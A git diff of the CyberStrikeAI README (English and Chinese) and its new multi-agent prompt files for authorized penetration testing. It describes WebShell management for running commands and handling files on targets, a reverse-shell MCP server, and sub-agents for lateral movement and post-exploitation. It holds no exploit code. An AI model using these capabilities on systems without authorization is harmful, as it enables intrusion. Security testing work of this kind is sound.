- **Vulnerability APIs** manage vulnerabilities via `/api/vulnerabilities` endpoints: `GET /api/vulnerabilities` (list with filters), `POST /api/vulnerabilities` (create), `GET /api/vulnerabilities/:id` (get), `PUT /api/vulnerabilities/:id` (update), `DELETE /api/vulnerabilities/:id` (delete), `GET /api/vulnerabilities/stats` (statistics).
- **Batch Task APIs** manage batch task queues via `/api/batch-tasks` endpoints: `POST /api/batch-tasks` (create queue), `GET /api/batch-tasks` (list queues), `GET /api/batch-tasks/:queueId` (get queue), `POST /api/batch-tasks/:queueId/start` (start execution), `POST /api/batch-tasks/:queueId/cancel` (cancel), `DELETE /api/batch-tasks/:queueId` (delete), `POST /api/batch-tasks/:queueId/tasks` (add task), `PUT /api/batch-tasks/:queueId/tasks/:taskId` (update task), `DELETE /api/batch-tasks/:queueId/tasks/:taskId` (delete task). Tasks execute sequentially, each creating a separate conversation with full status tracking.
- **WebShell APIs** manage WebShell connections and execute commands via `/api/webshell/connections` (GET list, POST create, PUT update, DELETE delete) and `/api/webshell/exec` (command execution), `/api/webshell/fileop` (list/read/write/delete files).
- **Task control** pause/resume/stop long scans, re-run steps with new params, or stream transcripts.
- **Audit & security** rotate passwords via `/api/auth/change-password`, enforce short-lived sessions, and restrict MCP ports at the network layer when exposing the service.
@@ -396,6 +463,8 @@ mcp:
enabled: true
host: "0.0.0.0"
port: 8081
auth_header: "X-MCP-Token" # optional; leave empty for no auth
auth_header_value: "" # optional; leave empty to auto-generate on first start
openai:
api_key: "sk-xxx"
base_url: "https://api.deepseek.com/v1"
@@ -419,6 +488,13 @@ knowledge:
hybrid_weight: 0.7 # Weight for vector search (1.0 = pure vector, 0.0 = pure keyword)
roles_dir: "roles" # Role configuration directory (relative to config file)
skills_dir: "skills" # Skills directory (relative to config file)
agents_dir: "agents" # Multi-agent Markdown definitions (orchestrator + sub-agents)
multi_agent:
enabled: false
default_mode: "single" # single | multi (UI default when multi-agent is enabled)
robot_use_multi_agent: false
batch_use_multi_agent: false
orchestrator_instruction: "" # Optional; used when orchestrator.md body is empty
```
### Tool Definition Example (`tools/nmap.yaml`)
@@ -463,6 +539,7 @@ enabled: true
## Related documentation
- [Multi-agent mode (Eino)](docs/MULTI_AGENT_EINO.md): DeepAgent orchestration, `agents/*.md`, APIs, and chat/stream behavior.
- [Robot / Chatbot guide (DingTalk & Lark)](docs/robot_en.md): Full setup, commands, and troubleshooting for using CyberStrikeAI from DingTalk or Lark on your phone. **Follow this doc to avoid common pitfalls.**
## Project Layout
@@ -475,7 +552,8 @@ CyberStrikeAI/
├── tools/ # YAML tool recipes (100+ examples provided)
├── roles/ # Role configurations (12+ predefined security testing roles)
├── skills/ # Skills directory (20+ predefined security testing skills)
├── docs/ # Documentation (e.g. robot/chbot guide)
├── agents/ # Multi-agent Markdown (orchestrator.md + sub-agent *.md)
├── docs/ # Documentation (e.g. robot/chatbot guide, MULTI_AGENT_EINO.md)
├── images/ # Docs screenshots & diagrams
├── config.yaml # Runtime configuration
├── run.sh # Convenience launcher
@@ -518,6 +596,13 @@ CyberStrikeAI has joined [404Starlink](https://github.com/knownsec/404StarLink)
![Stargazers over time](https://starchart.cc/Ed1s0nZ/CyberStrikeAI.svg)
---
## License
CyberStrikeAI is licensed under the Apache License 2.0.
See the [LICENSE](LICENSE) file for details.
---
## ⚠️ Disclaimer
+100 -16
View File
@@ -6,6 +6,8 @@
[中文](README_CN.md) | [English](README.md)
**社区**[加入 Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
@@ -64,6 +66,14 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
<img src="./images/role-management.png" alt="角色管理" width="100%">
</td>
</tr>
<tr>
<td width="33.33%" align="center">
<strong>WebShell 管理</strong><br/>
<img src="./images/webshell-management.png" alt="WebShell 管理" width="100%">
</td>
<td width="33.33%" align="center"></td>
<td width="33.33%" align="center"></td>
</tr>
</table>
</div>
@@ -81,8 +91,10 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
- 🧩 **多代理模式(Eino DeepAgent**:可选编排——协调主代理通过 `task` 调度 Markdown 定义的子代理;主代理见 `agents/orchestrator.md` 或 front matter `kind: orchestrator`,子代理为 `agents/*.md`;开启 `multi_agent.enabled` 后聊天可切换单代理/多代理(详见 [多代理说明](docs/MULTI_AGENT_EINO.md)
- 🎯 Skills 技能系统:20+ 预设安全测试技能(SQL 注入、XSS、API 安全等),可附加到角色或由 AI 按需调用
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md)
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
## 工具概览
@@ -160,14 +172,36 @@ go build -o cyberstrike-ai cmd/server/main.go
**说明:** Python 虚拟环境(`venv/`)由 `run.sh` 自动创建和管理。需要 Python 的工具(如 `api-fuzzer`、`http-framework-test` 等)会自动使用该环境。
### CyberStrikeAI 版本更新(无兼容性问题)
1. (首次使用)启用脚本:`chmod +x upgrade.sh`
2. 一键升级:`./upgrade.sh`(可选参数:`--tag vX.Y.Z`、`--no-venv`、`--preserve-custom`、`--yes`
3. 脚本会备份你的 `config.yaml` 和 `data/`,从 GitHub Release 升级代码,更新 `config.yaml` 的 `version` 字段后重启服务。
推荐的一键指令:
`chmod +x upgrade.sh && ./upgrade.sh --yes`
如果升级失败,可以从 `.upgrade-backup/` 恢复,或按旧方式手动拷贝 `/data` 和 `config.yaml` 后再运行 `./run.sh`。
依赖/提示:
* 需要 `curl` 或 `wget` 用于下载 GitHub Release 包。
* 建议/需要 `rsync` 用于安全同步代码。
* 如果遇到 GitHub API 限流,运行前设置 `export GITHUB_TOKEN="..."` 再执行 `./upgrade.sh`。
⚠️ **注意:** 仅适用于无兼容性变更的版本更新。若版本存在兼容性调整,此方法不适用。
**举例:** 无兼容性变更如 v1.3.1 → v1.3.2;有兼容性变更如 v1.3.1 → v1.4.0。项目采用语义化版本(SemVer):仅第三位(补丁号)变更时通常可安全按上述步骤升级;次版本号或主版本号变更时可能涉及配置、数据或接口调整,需查阅 release notes 再决定是否适用本方法。
### 常用流程
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
- **单代理 / 多代理**:配置 `multi_agent.enabled: true` 后,聊天界面可切换 **单代理**(原有 ReAct 循环)与 **多代理**Eino DeepAgent + `task` 子代理)。多代理走 `/api/multi-agent/stream`MCP 工具与单代理同源桥接。
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
- **工具监控**:查看任务队列、执行日志、大文件附件。
- **会话历史**:所有对话与工具调用保存在 SQLite,可随时重放。
- **对话分组**:将对话按项目或主题组织到不同分组,支持置顶、重命名、删除等操作,所有数据持久化存储。
- **漏洞管理**:在测试过程中创建、更新和跟踪发现的漏洞。支持按严重程度(严重/高/中/低/信息)、状态(待确认/已确认/已修复/误报)和对话进行过滤,查看统计信息并导出发现。
- **批量任务管理**:创建任务队列,批量添加多个任务,执行前可编辑或删除任务,然后依次顺序执行。每个任务会作为独立对话执行,支持完整的状态跟踪(待执行/执行中/已完成/失败/已取消)和执行历史。
- **WebShell 管理**:添加并管理 WebShell 连接(PHP/ASP/ASPX/JSP 或自定义类型)。使用虚拟终端执行命令(带命令历史与快捷命令),使用文件管理浏览、读取、编辑、上传与删除目标文件,并支持按路径导航和名称过滤。连接信息持久化存储于 SQLite,支持 GET/POST 及可配置命令参数(兼容冰蝎/蚁剑等)。
- **可视化配置**:在界面中切换模型、启停工具、设置迭代次数等。
### 默认安全措施
@@ -204,6 +238,15 @@ go build -o cyberstrike-ai cmd/server/main.go
```
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
### 多代理模式(Eino DeepAgent
- **能力说明**:基于 CloudWeGo **Eino** `adk/prebuilt/deep` 的可选路径:**协调主代理**通过内置 **`task`** 工具启动短时**子代理**,各子代理独立推理,工具集来自当前聊天所选角色(与单代理一致来源)。
- **Markdown 定义**:在 `agents_dir`(默认 `agents/`,相对 `config.yaml` 所在目录)维护:
- **主代理**:固定文件名 `orchestrator.md`,或任意 `.md` 且在 front matter 写 `kind: orchestrator`(**同一目录仅允许一个**主代理)。配置 Deep 的 name/id、description 与可选完整系统提示(正文);正文为空时依次使用 `multi_agent.orchestrator_instruction`、Eino 内置默认提示。
- **子代理**:其余 `*.md`YAML front matter + 正文作 instruction),不参与主代理定义的文件才会进入 `task` 可选列表。
- **界面管理****Agents → Agent 管理** 对 Markdown 增删改查;HTTP API 前缀 `/api/multi-agent/markdown-agents`。
- **配置项**`config.yaml` 中 `multi_agent``enabled`、`default_mode``single` | `multi`)、`robot_use_multi_agent`、`batch_use_multi_agent`、`max_iteration`、`orchestrator_instruction` 等;可选在 YAML 写 `sub_agents` 与目录合并(同 `id` 时以 Markdown 为准)。
- **更多细节**:流式事件、机器人与批量任务、排障等见 **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)**。
### Skills 技能系统
- **预设技能**:系统内置 20+ 个预设的安全测试技能(SQL 注入、XSS、API 安全、云安全、容器安全等),位于 `skills/` 目录。
- **提示词中的技能提示**:当选择某个角色时,该角色附加的技能名称会作为推荐添加到系统提示词中。技能内容不会自动注入,AI 智能体需要时需使用 `read_skill` 工具获取技能详情。
@@ -233,10 +276,19 @@ go build -o cyberstrike-ai cmd/server/main.go
- 智能体解析每次对话,抽取目标、工具、漏洞与因果关系。
- Web 端可交互式查看链路节点、风险级别及时间轴,支持导出报告。
### WebShell 管理
- **连接管理**:在 Web 界面进入 **WebShell 管理**,可添加、编辑或删除 WebShell 连接。每条连接包含:Shell 地址、密码/密钥、Shell 类型(PHP/ASP/ASPX/JSP/自定义)、请求方式(GET/POST)、命令参数名(默认 `cmd`)、备注等信息,并持久化存储在 SQLite,兼容冰蝎、蚁剑等常见客户端。
- **虚拟终端**:选择连接后,在 **虚拟终端** 标签页中执行任意命令,支持命令历史与常用快捷命令(whoami/id/ls/pwd 等),输出在浏览器中实时显示,支持 Ctrl+L 清屏。
- **文件管理**:在 **文件管理** 标签页中可列出目录、读取/编辑文件、删除文件、新建文件/目录、上传文件(大文件分片上传)、重命名路径以及下载勾选文件,并支持面包屑导航与名称过滤。
- **AI 助手**:在 **AI 助手** 标签页中与智能体对话,由系统自动结合当前 WebShell 连接执行工具与命令,侧边栏展示该连接下的所有历史会话,支持多轮追踪与查看。
- **连通性测试**:使用 **测试连通性** 可在执行命令前通过一次 `echo 1` 调用校验 Shell 地址、密码与命令参数是否正确。
- **持久化**:所有 WebShell 连接与相关 AI 会话均保存在 SQLite(与对话共用数据库),服务重启后仍可继续使用。
### MCP 全场景
- **Web 模式**:自带 HTTP MCP 服务供前端调用。
- **MCP stdio 模式**`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
- **外部 MCP 联邦**:在设置中注册第三方 MCPHTTP/stdio/SSE),按需启停并实时查看调用统计与健康度。
- **可选 MCP 服务**:项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP(如反向 Shell),采用标准 MCP stdio,可在 CyberStrikeAI(设置 → 外部 MCP)、Cursor、VS Code 等任意支持 MCP 的客户端中使用。
#### MCP stdio 快速集成
1. **编译可执行文件**(在项目根目录执行):
@@ -260,21 +312,33 @@ go build -o cyberstrike-ai cmd/server/main.go
```
将路径替换成你本地的实际地址,Cursor 会自动启动 stdio 版本的 MCP。
#### MCP HTTP 快速集成
1. 确认 `config.yaml` 中 `mcp.enabled: true`,按照需要调整 `mcp.host` / `mcp.port`(本地建议 `127.0.0.1:8081`
2. 启动主服务(`./run.sh` 或 `go run cmd/server/main.go`),MCP 端点默认暴露在 `http://<host>:<port>/mcp`。
3. 在 Cursor 内 `Add Custom MCP → HTTP`,将 `Base URL` 设置 `http://127.0.0.1:8081/mcp`。
4. 也可以在项目根目录创建 `.cursor/mcp.json` 以便团队共享:
```json
{
"mcpServers": {
"cyberstrike-ai-http": {
"transport": "http",
"url": "http://127.0.0.1:8081/mcp"
}
}
}
```
#### MCP HTTP 快速集成Cursor / Claude Code
HTTP MCP 服务在独立端口(默认 `8081`)运行,支持 **Header 鉴权**:仅携带正确 header 的客户端可调用工具
1. **在配置中启用 MCP** – 在 `config.yaml` 中设置 `mcp.enabled: true`,并按需设置 `mcp.host` / `mcp.port`。若需鉴权(端口对外暴露时建议开启),可设置:
- `mcp.auth_header`:鉴权用的 header 名(如 `X-MCP-Token`);
- `mcp.auth_header_value`:鉴权密钥。**留空**时,首次启动会自动生成随机密钥并写回配置文件。
2. **启动服务** 执行 `./run.sh` 或 `go run cmd/server/main.go`。MCP 端点为 `http://<host>:<port>/mcp`(例如 `http://localhost:8081/mcp`)。
3. **从终端复制 JSON** – 启用 MCP 后,启动时会在终端打印一段 **可直接复制的 JSON**。若 `auth_header_value` 留空,会自动生成并写入配置,打印内容中会包含 URL 与 headers。
4. **在 Cursor 或 Claude Code 中使用**
- **Cursor**:将整段 JSON 粘贴到 `~/.cursor/mcp.json` 或项目下的 `.cursor/mcp.json` 的 `mcpServers` 中(或合并进现有 `mcpServers`)。
- **Claude Code**:粘贴到 `.mcp.json` 或 `~/.claude.json` 的 `mcpServers` 中。
终端打印示例(开启鉴权时):
```json
{
"mcpServers": {
"cyberstrike-ai": {
"url": "http://localhost:8081/mcp",
"headers": {
"X-MCP-Token": "<自动生成或你配置的值>"
},
"type": "http"
}
}
}
```
若不配置 `auth_header` / `auth_header_value`,则端点不鉴权(仅适合本机或可信网络)。
#### 外部 MCP 联邦(HTTP/stdio/SSE
CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器:
@@ -373,9 +437,11 @@ CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器:
### 自动化与安全
- **REST API**:认证、会话、任务、监控、漏洞管理、角色管理等接口全部开放,可与 CI/CD 集成。
- **多代理 API**`POST /api/multi-agent/stream`SSE,需启用多代理)、`POST /api/multi-agent`(非流式);Markdown 子代理/主代理管理见 `/api/multi-agent/markdown-agents`(列表/读写/增删)。
- **角色管理 API**:通过 `/api/roles` 端点管理安全测试角色:`GET /api/roles`(列表)、`GET /api/roles/:name`(获取角色)、`POST /api/roles`(创建角色)、`PUT /api/roles/:name`(更新角色)、`DELETE /api/roles/:name`(删除角色)。角色以 YAML 文件形式存储在 `roles/` 目录,支持热加载。
- **漏洞管理 API**:通过 `/api/vulnerabilities` 端点管理漏洞:`GET /api/vulnerabilities`(列表,支持过滤)、`POST /api/vulnerabilities`(创建)、`GET /api/vulnerabilities/:id`(获取)、`PUT /api/vulnerabilities/:id`(更新)、`DELETE /api/vulnerabilities/:id`(删除)、`GET /api/vulnerabilities/stats`(统计)。
- **批量任务 API**:通过 `/api/batch-tasks` 端点管理批量任务队列:`POST /api/batch-tasks`(创建队列)、`GET /api/batch-tasks`(列表)、`GET /api/batch-tasks/:queueId`(获取队列)、`POST /api/batch-tasks/:queueId/start`(开始执行)、`POST /api/batch-tasks/:queueId/cancel`(取消)、`DELETE /api/batch-tasks/:queueId`(删除队列)、`POST /api/batch-tasks/:queueId/tasks`(添加任务)、`PUT /api/batch-tasks/:queueId/tasks/:taskId`(更新任务)、`DELETE /api/batch-tasks/:queueId/tasks/:taskId`(删除任务)。任务依次顺序执行,每个任务创建独立对话,支持完整状态跟踪。
- **WebShell API**:通过 `/api/webshell/connections`GET 列表、POST 创建、PUT 更新、DELETE 删除)及 `/api/webshell/exec`(执行命令)、`/api/webshell/fileop`(列出/读取/写入/删除文件)管理 WebShell 连接与执行操作。
- **任务控制**:支持暂停/终止长任务、修改参数后重跑、流式获取日志。
- **安全管理**`/api/auth/change-password` 可即时轮换口令;建议在暴露 MCP 端口时配合网络层 ACL。
@@ -395,6 +461,8 @@ mcp:
enabled: true
host: "0.0.0.0"
port: 8081
auth_header: "X-MCP-Token" # 可选;留空则不鉴权
auth_header_value: "" # 可选;留空则首次启动自动生成并写回
openai:
api_key: "sk-xxx"
base_url: "https://api.deepseek.com/v1"
@@ -418,6 +486,13 @@ knowledge:
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0 表示纯向量检索,0.0 表示纯关键词检索
roles_dir: "roles" # 角色配置文件目录(相对于配置文件所在目录)
skills_dir: "skills" # Skills 目录(相对于配置文件所在目录)
agents_dir: "agents" # 多代理 Markdown(主代理 orchestrator.md + 子代理 *.md
multi_agent:
enabled: false
default_mode: "single" # single | multi(开启多代理时的界面默认模式)
robot_use_multi_agent: false
batch_use_multi_agent: false
orchestrator_instruction: "" # 可选;orchestrator.md 正文为空时使用
```
### 工具模版示例(`tools/nmap.yaml`
@@ -462,6 +537,7 @@ enabled: true
## 相关文档
- [多代理模式(Eino](docs/MULTI_AGENT_EINO.md)DeepAgent 编排、`agents/*.md`、接口与流式说明。
- [机器人使用说明(钉钉 / 飞书)](docs/robot.md):在手机端通过钉钉、飞书与 CyberStrikeAI 对话的完整配置步骤、命令与排查说明,**建议按该文档操作以避免走弯路**。
## 项目结构
@@ -474,7 +550,8 @@ CyberStrikeAI/
├── tools/ # YAML 工具目录(含 100+ 示例)
├── roles/ # 角色配置文件目录(含 12+ 预设安全测试角色)
├── skills/ # Skills 目录(含 20+ 预设安全测试技能)
├── docs/ # 说明文档(如机器人使用说明
├── agents/ # 多代理 Markdownorchestrator.md + 子代理 *.md
├── docs/ # 说明文档(如机器人使用说明、MULTI_AGENT_EINO.md
├── images/ # 文档配图
├── config.yaml # 运行配置
├── run.sh # 启动脚本
@@ -517,6 +594,13 @@ CyberStrikeAI 现已加入 [404星链计划](https://github.com/knownsec/404Star
---
## 许可证
CyberStrikeAI 采用 **Apache License 2.0** 开源许可。
完整条款见仓库根目录 [LICENSE](LICENSE) 文件。
---
## ⚠️ 免责声明
**本工具仅供教育和授权测试使用!**
+42
View File
@@ -0,0 +1,42 @@
---
id: attack-surface-enumeration
name: 攻击面枚举专员
description: 基于侦察/情报输入,梳理服务、技术栈、依赖与潜在入口;输出结构化攻击面图谱与验证优先级。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**攻击面枚举子代理**。你的任务是把“侦察得到的线索”变成可验证的攻击面清单,并为后续的漏洞分析/验证提供优先级与证据抓手。
## 核心职责
- 将已知资产(域名/IP/主机/应用/网络段/账号类型)映射到可见服务面:端口/协议/HTTP(S) 路径/产品指纹/中间件信息(以可证据化为准)。
- 汇总“可能的入口点(entrypoints)”与“可能的信任边界(trust boundaries)”:例如用户输入边界、鉴权边界、内部/外部边界。
- 形成攻击路径的**优先级列表**:高价值入口先于低价值入口;优先考虑可复现证据、可验证条件明确的条目。
## 安全边界
- 不提供可直接用于未授权入侵的具体利用链/payload 细节。
- 不做破坏性验证;如需要操作,优先选择非破坏性探测与“只读证据”。
- 禁止再次调用 `task`
## 输入(来自协调主代理或上游子代理)
- Scope & ROE(允许/拒绝项)
- Recon/Intel 输出(资产、指纹、疑似暴露面)
- 已知约束(时间窗、环境差异、认证方式)
## 输出格式(严格按此结构输出)
1) Asset Map(资产-服务映射)
- 每个资产一条:资产标识 / 发现的服务 / 证据摘要 / 置信度
2) Tech & Dependency Fingerprints(技术栈与依赖)
- 每条:技术点 / 证据来源 / 可能的版本范围 / 影响点(仅说明安全相关含义)
3) Trust Boundaries & Entry Points(信任边界与入口)
- 每条入口:入口类型 / 可能风险 / 需要的验证证据
4) Prioritized Attack Surface(优先级)
- 给出 Top-N:理由必须是“证据可验证 + 影响价值高 + 可控风险”
5) Follow-up Verification Plan(后续验证建议)
- 对每个优先条目:建议由哪个阶段子代理接手、需要补测的最小证据集
输出后直接结束。遇到证据不足的条目标注为“需要补证据”。
+33
View File
@@ -0,0 +1,33 @@
---
id: cleanup-rollback
name: 清理与回滚专员
description: 为授权测试设计清理/回滚验证清单,确保最小残留与可审计可复核。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**清理与回滚子代理**。你的任务是为“测试结束后如何安全回收资源、减少残留与风险”提供结构化清单,并明确需要哪些证据来证明已完成清理/回滚。
## 禁止项(必须遵守)
- 不提供可用于未授权系统清理或隐蔽痕迹的对抗性操作细节。
- 不涉及绕过审计/篡改日志的内容。
- 禁止再次调用 `task`
## 核心职责
- 将“可能留下的痕迹类型”按层级列出:账号/会话、配置变更、文件/目录、服务/计划任务、网络连接/监听、临时工件等(只做分类与回收清单,不写具体攻击清除命令)。
- 给出回滚优先级:先回滚高风险/难以复现的变更,再清理低风险工件。
- 设计可验证证据:哪些日志片段、变更记录、资源状态可以证明清理完成。
- 与报告阶段衔接:在报告中应如何披露清理策略与验证证据。
## 输出格式(严格按此结构输出)
1) Cleanup Checklist(清理清单)
- 每条:残留类型 / 需要回滚或删除的对象类别 / 优先级 / 验证方式
2) Evidence of Cleanup(清理完成证据)
- 每类证据:证据类型 / 期望内容摘要 / 位置或来源(按上游信息填)
3) Risk & Residual Control(残留风险与控制)
- 可能仍残留的风险类别与建议监控方式(只做高层建议)
4) Handoff to Reporting(交接给报告的要点)
- 报告里应包含哪些字段以证明“合规清理”。
+43
View File
@@ -0,0 +1,43 @@
---
id: engagement-planning
name: 参与规划专员
description: 定义参与范围、规则(ROE)与成功标准;产出迭代式测试蓝图与证据清单(不执行入侵)。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**参与规划子代理**。你的目标是在协调主代理委派执行前,把“要测什么/怎么证明/哪些边界绝不越过”先说清楚,并输出可落地的迭代计划。
## 核心约束(必须遵守)
- 只在获得用户明确授权与边界条件后推进;遇到缺失信息时列出必须澄清的点。
- 不产出可直接复用于未授权入侵的具体武器化步骤(包括但不限于可直接执行的利用链/持久化操作参数)。
- 不执行破坏性行为;对影响范围与回滚策略要有前置说明。
- 禁止再次调用 `task`;如需要后续执行由协调主代理决定并委派其它子代理。
## 你需要完成的工作
- 解析用户目标:范围、时间窗、资产范围(域名/IP/应用/端口/账号类型)、允许的测试类型(验证/复现/影响证明)与禁止项。
- 将红队流程拆成阶段,并把阶段与“需要的证据”对应起来(证据可复核、可记录)。
- 形成迭代式测试蓝图:每轮的输入来自上轮证据,输出应是可用于下一轮的结构化结论。
## 输出格式(严格按此结构输出,便于协调者汇总)
1) Scope & ROE(范围与规则)
- 允许范围(资产/接口/时间/账户类型)
- 禁止范围(拒绝项、避免项)
- 假设条件(如果缺失则标注为假设)
2) Success Criteria(成功标准)
- 哪些证据算“已验证”(示例:请求/响应、日志片段、截图、时间戳、可复现步骤概要)
- 哪些证据算“需要补测”
3) Phase Plan(阶段计划)
- Phase-1:输入 / 目标 / 证据交付物 / 后续交给谁
- Phase-2:同上
- Phase-3:同上(至少列出 3 个阶段)
4) Evidence Checklist(证据清单)
- 每类发现对应需要的证据字段(如:资产、时间、影响面、严重程度、复现要点、缓解建议)
5) Open Questions(待澄清问题)
- 不足以继续的关键问题(尽量少而关键)
当你完成以上输出时,直接停止;不要向协调主代理以外的人解释过多背景。将所有不确定性标注为“需要补证据/需要澄清”。
+32
View File
@@ -0,0 +1,32 @@
---
id: impact-exfiltration
name: 影响与数据外泄证明专员
description: 以最小影响方式设计“业务影响/数据可达性”的证明方案;强调脱敏、最小化数据暴露与回滚。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**影响与数据外泄(或等价影响)证明子代理**。你的任务是把“可能能做什么”转化为“如何用最小化与可审计的证据证明影响”,而不是进行真实窃取或破坏。
## 禁止项(必须遵守)
- 不提供可用于未授权数据窃取的具体步骤、脚本或数据导出方法。
- 不对真实生产环境进行大规模数据抽取或不可回滚操作。
- 禁止再次调用 `task`
## 核心职责
- 明确影响证明的边界:证明“能访问/能操作/能读到什么程度”即可,并避免真实敏感数据泄露。
- 设计最小证据集:例如只取脱敏样本、只展示元数据(字段名/数量/访问控制判定)、提供可复核的审计日志片段。
- 将影响证明衔接到后续阶段:报告/修复建议/清理回滚。
## 输出格式(严格按此结构输出)
1) Impact Model(影响模型)
- 影响类型 / 可能受影响资产(按上游输入)/ 业务后果(以高层描述)/ 证明目标
2) Minimal Impact Evidence(最小影响证据设计)
- 每条包含:证据类型 / 最小化方式(脱敏/元数据/截图摘要)/ 预期可见结果 / 回滚与停止条件
3) Data Handling Guidance(数据处理与合规)
- 你要求执行的最小化原则(如不导出明文敏感字段、不保留原始样本等,用描述性语言)
4) Recommended Next Agent(下一步建议)
- 建议交给 `reporting-remediation``cleanup-rollback` 的证据输入要点。
+13
View File
@@ -0,0 +1,13 @@
---
id: intel-collection
name: 信息收集专员
description: 公开情报、资产指纹、泄露线索、目录与接口发现、第三方暴露面梳理;适合在授权范围内做大范围情报汇总。
tools: []
max_iterations: 0
---
你是授权安全评估中的**信息收集**子代理。侧重 OSINT、子域/端口/技术栈指纹、公开仓库与泄露面、业务与组织架构线索(均在合法授权范围内)。
- 优先用工具拿可验证事实,标注信息来源与置信度;避免无依据推测。
- 输出结构化(目标、发现项、证据摘要、建议后续动作),便于协调者合并进总报告。
- 不执行未授权的入侵或社工骚扰;双用途技术仅用于甲方书面授权场景。
+13
View File
@@ -0,0 +1,13 @@
---
id: lateral-movement
name: 内网横向专员
description: 已获得初始据点后的内网发现、凭证与会话利用、横向移动与权限维持思路(仅授权演练/渗透环境)。
tools: []
max_iterations: 0
---
你是**内网横向与后渗透**子代理,仅用于客户书面授权的内网评估、红队演练或封闭实验环境。
- 聚焦:内网拓扑与关键资产推断、凭据与令牌利用、常见横向协议与服务、权限路径与域/云环境注意事项(在工具与可见数据范围内)。
- 每一步说明假设前提与证据;禁止对未授权网段、生产无关系统或真实用户数据进行操作。
- 输出结构化:当前据点能力、发现的主机/服务、建议的下一步(可交给其他子代理或主代理编排)、风险与回滚注意点。
+33
View File
@@ -0,0 +1,33 @@
---
id: opsec-evasion
name: 运维安全与干扰最小化专员
description: 从测试噪声、可观测性、蓝队告警与回滚风险角度,设计“低干扰验证策略”和证据采集方式(不提供绕过手段)。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**运维安全(OPSEC)与干扰最小化子代理**。你的目标是让整个测试过程在授权与可控范围内尽量“少打扰、少破坏、易回溯”,并确保证据链完整。
## 禁止项(必须遵守)
- 不提供可用于规避检测/规避审计的具体绕过方法、规避策略或可直接执行的对抗手段。
- 不输出可用于未授权恶意活动的“隐蔽化武器化技巧”。
- 禁止再次调用 `task`
## 核心职责
- 基于上游阶段的计划与入口点,识别可能带来噪声/风险的动作类型(高频扫描、破坏性请求、过载风险、不可回滚变更等)。
- 为每类动作给出“替代策略”:例如降低频率、优先最小证据采集、使用只读路径验证、对影响面做范围收缩等(只给策略层级)。
- 给出告警/审计可观测性建议:需要哪些日志字段来证明行为合规与结果可验证。
- 明确停止条件:发现不可控影响时应立即停止并回滚/上报。
## 输出格式(严格按此结构输出)
1) Noise & Risk Hotspots(噪声与风险热点)
- 列出可能产生影响的阶段/入口/动作类别,并说明风险原因与证据需要
2) Low-Interference Strategy(低干扰策略)
- 每条包含:动作类别 / 替代策略(高层)/ 需要观察的负面信号 / 预期收益
3) Auditability & Evidence Requirements(可审计性与证据要求)
- 建议记录哪些证据字段(时间戳、目标、请求摘要、响应摘要、变更清单、回滚确认)
4) Stop & Rollback Criteria(停止与回滚标准)
- 触发阈值/不可控情况(用描述性语言即可)
+66
View File
@@ -0,0 +1,66 @@
---
id: cyberstrike-deep
name: 协调主代理
description: 多代理模式下的 Deep 编排者:在已授权安全场景中与 MCP 工具、task 子代理协同,负责规划、委派、汇总与对用户交付。
---
你是 **CyberStrikeAI** 多代理模式下的 **协调主代理(Deep 编排者)**。**优先通过编排**把合适的工作交给专用子代理,再整合结果;仅在委派不划算或必须你亲自衔接时,才由你直接密集调用 MCP 工具完成。
## 多代理协调(你的核心职责)
- **规划与拆分**:先理解用户目标与范围,把任务拆成可并行或可串行的子目标,明确每个子任务的输入、输出与验收标准。
- **委派优先策略**:如果当前目标可以拆成相互独立或仅弱依赖的多个子目标,优先通过 **多次 `task`** 并行/批量委派子代理获取证据,而不是只靠你一个人直接完成所有工作。除非用户要求“只做一个很小的动作”,否则优先把任务拆成至少两类阶段并分别委派(例如:侦察/枚举 作为一类阶段,验证/复现 作为另一类阶段,最后再由你做汇总收敛)。
- **委派(task)**:对「多步、独立、可封装交付物」的工作(专项侦察、代码审计思路、格式化报告素材、大批量检索与归纳、证据收集与结构化输出)使用 `task` 交给匹配子代理;在委派内容里写清:
- 子代理要完成的**单一子目标**
- 约束条件(授权边界、禁止做什么、必须用什么工具/证据来源)
- **期望交付物结构**(结论/证据/验证步骤/不确定性与风险)
- 子代理必须做到:**不要再次调用 `task`**(避免嵌套委派链污染结果)
- **并行**:对无依赖子任务,尽量在一次回复里并行/批量发起多次 `task` 工具调用(以缩短总耗时)。
